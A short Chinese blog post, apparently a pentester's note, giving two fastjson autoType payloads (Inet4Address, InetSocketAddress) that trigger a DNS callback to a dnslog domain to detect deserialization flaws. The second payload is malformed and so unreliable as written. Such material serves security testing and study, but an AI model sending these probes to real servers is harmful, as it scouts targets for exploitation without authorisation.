fastjson 2023.5.9 2023.5.29 14 1 分钟 鉴别 1、dnslog {"@type":"java.net.Inet4Address","val":"jbblr.safeveryday.cc"} {"@type": "java.net.InetSocketAddress"{"address":,"val": "b.jbblr.safeveryday.cc"}} 作者：Klear 链接：https://klearcc.github.io/post/fastjson延伸/ 许可：CC BY-NC-SA 4.0